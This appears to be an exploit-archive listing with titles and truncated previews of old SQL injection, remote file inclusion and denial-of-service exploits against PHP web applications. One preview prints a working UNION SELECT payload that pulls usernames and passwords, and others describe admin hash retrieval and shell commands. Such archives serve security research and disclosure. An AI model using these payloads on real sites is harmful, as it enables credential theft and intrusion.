comicsense02-sql.txt

!/usr/bin/perl -w ComicSense 0.2 SQL Injection Exploit Discovered by: s0cratex Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Original Advisory: http://seclists.org/bugtraq/2007/Jun/0063.html http://milw0rm.com/exploits/4035 Vulnerable Code index.php: $sqlQuery = "SELECT...

PHPSecurityAdmin <= Remote File Include Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; / + - AYYILDIZ TEAM // AYYILDIZ.ORG + + + - PHPSecurityAdmin = Remote File Include Exploit + + + - Script name: PHPSecurityAdmin - Script site: http://sourceforge.net/projects/phpsecurityadm/ + + + - Coded by iLker Kandemir + -...

saxon-rfi.txt

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ Security Vulnerability Resear...

Dokeos 1.8.0 - 'my_progress.php?course' SQL Injection

!/usr/bin/perl -w Dokeos = 1.8.0 SQL Injection Exploit Discovered by: Silentz Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code myprogress.php: ifisset$GET'course' $sqlInfosCourse = "SELECT course.code, course.title,course.dbname,CONCATuser.firstname,'...

Dokeos <= 1.8.0 (my_progress.php course) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ===================================================================== Dokeos = 1.8.0 myprogress.php course Remote SQL Injection Exploit ===================================================================== !/usr/bin/perl -w Dokeos = 1.8.0...

Simple Accessible XHTML Online News v4.6 Remote File Include Exploit

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ Security Vulnerability Resear...

faqengine-sql.txt

!/usr/bin/perl -w FAQEngine = v4.16.03 SQL Injection Exploit Discovered by: Silentz Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code question.php: $sql = "select from ".$tableprefix."questions where publish=1 and questionref=$questionref order by enterdate...

TaskDriver 1.2 - Authentication Bypass SQL Injection

TaskDriver 1.2 - Authentication Bypass SQL Injection !/usr/bin/perl -w TaskDriver = 1.2 Login Bypass/SQL Injection Exploit Discovered by: Silentz Payload: Login Bypass & Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code login.php: $sql = "SELECT FROM $userstable WHER...

TaskDriver 1.2 - Authentication Bypass / SQL Injection

!/usr/bin/perl -w TaskDriver = 1.2 Login Bypass/SQL Injection Exploit Discovered by: Silentz Payload: Login Bypass & Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code login.php: $sql = "SELECT FROM $userstable WHERE username = '$POSTusername' AND password =...

TutorialCMS <= 1.00 (search.php search) SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================= TutorialCMS alert'http://www.w4ck1ng.com' PoC: http://victim.com/search.php?search=' UNION SELECT 0,0,0,0,username, password,0,0,0,0,0,0,0 FROM users WHERE id='1' / Subject To:...

phphtmllib-rfi.txt

!/usr/bin/perl use LWP::UserAgent; / + - AYYILDIZ TEAM // AYYILDIZ.ORG + + + - PHPHtmlLib mynetcom - - info: / Siz Yokken AYYILDIZ Vardi / + + + - tnx: h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann And AYYILDIZ.ORG - - h0tturk.com, expw0rm.com, turkistiklal.com, evilc0der.com ! + + usage: perl exploit....

PHPSecurityAdmin 4.0.2 - Logout.php Remote File Inclusion

PHPSecurityAdmin 4.0.2 - Logout.php Remote File Inclusion source: https://www.securityfocus.com/bid/23801/info PHPSecurityAdmin is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to compromise...

phpwind 5.0.1 SQL Injection Vulnerability Exploit

No description provided by source. 0 ? intval$argv3:1; echo "\r\nLogging\t........"; ifislogin echo "Login Ok!\r\n"; else die"Not Login!\tCheck Your Cookie and Useragent!\r\n"; echo "Testing\t........"; iftest echo "Vul!\r\n"; else di...

MyBulletinBoard &lt;= 1.2.5 Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " \n"; print " MyBulletinBoard = 1.2.5 Remote SQL Injection Exploit \n"; print " Bug found and Exploit coded by 0x86 \n"; print " &nbsp...

MyBulletinBoard (MyBB) 1.2.5 - 'calendar.php' Blind SQL Injection

!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " \n"; print " MyBulletinBoard \n"; print " Example: perl mybb.pl www.host.com /mybb/ -u 5 \n"; print " \n"; print " Options: \n"; print " -u User-ID, default: 1 \n"; print " -p Proxy support \n"; print " \n"; exit;...

ivan-rfi.txt

!/usr/bin/perl Ivan Gallery Script V.0.1 index.php Remote File Include Exploit Coded by SekoMirza & HypNosis Usage: exploit.pl target cmd shell shell variable Greetings: Sh4dowM4n , PhanTOmOrhcid , Starhack.0rg , CaRaMeL , MBrain! , and all Turkishz Hackerzz Vulnerable Code:...

mxBB Module MX Shotcast 1.0 RC2 (getinfo1.php) RFI Exploit

No description provided by source. !/usr/bin/perl mxBB Module MX Shotcast 1.0 RC2 getinfo1.php Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, DarkFig Vulnerable Code: includeonce$mxrootpath . 'common.'.$phpEx;...

mxBB Module MX Shotcast 1.0 RC2 - getinfo1.php Remote File Inclusion

mxBB Module MX Shotcast 1.0 RC2 - getinfo1.php Remote File Inclusion !/usr/bin/perl mxBB Module MX Shotcast 1.0 RC2 getinfo1.php Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, DarkFig Vulnerable Code:...

mxBB Module MX Shotcast 1.0 RC2 - 'getinfo1.php' Remote File Inclusion

!/usr/bin/perl mxBB Module MX Shotcast 1.0 RC2 getinfo1.php Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, DarkFig Vulnerable Code: includeonce$mxrootpath . 'common.'.$phpEx; Vendor:...

Wserve HTTP Server 4.6 (Long Directory Name) Denial of Service Exploit

Exploit for unknown platform in category dos / poc ====================================================================== Wserve HTTP Server 4.6 Long Directory Name Denial of Service Exploit ====================================================================== !perl Wserve HTTP Server 4.6 Versio...